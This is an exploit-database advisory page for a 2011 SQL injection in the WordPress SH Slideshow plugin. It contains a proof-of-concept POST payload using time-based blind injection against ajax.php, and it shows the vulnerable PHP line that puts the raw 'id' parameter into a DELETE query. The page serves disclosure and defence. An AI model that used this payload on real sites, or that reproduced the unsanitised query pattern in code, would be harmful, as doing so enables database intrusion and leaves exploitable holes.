header-logo
Suggest Exploit
vendor:
SH Slideshow
by:
Miroslav Stampar
9
CVSS
HIGH
SQL Injection
89
CWE
Product Name: SH Slideshow
Affected Version From: 3.1.2004
Affected Version To: 3.1.2004
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:sh_slideshow
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2011

WordPress SH Slideshow plugin <= 3.1.4 SQL Injection Vulnerability

A SQL injection vulnerability exists in the WordPress SH Slideshow plugin version 3.1.4 and earlier. The vulnerability is due to insufficient sanitization of user-supplied input in the 'id' parameter of the 'ajax.php' script. An attacker can exploit this vulnerability to inject and execute arbitrary SQL commands in the application's back-end database.

Mitigation:

Ensure that user-supplied input is properly sanitized before being used in SQL queries.
Source

Exploit-DB raw data:

# Exploit Title: WordPress SH Slideshow plugin <= 3.1.4 SQL Injection Vulnerability
# Date: 2011-08-29
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/sh-slideshow.3.1.4.zip
# Version: 3.1.4 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/sh-slideshow/ajax.php
 id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
$result = $wpdb->query('delete from sh_slides where id = '.$_POST['id']);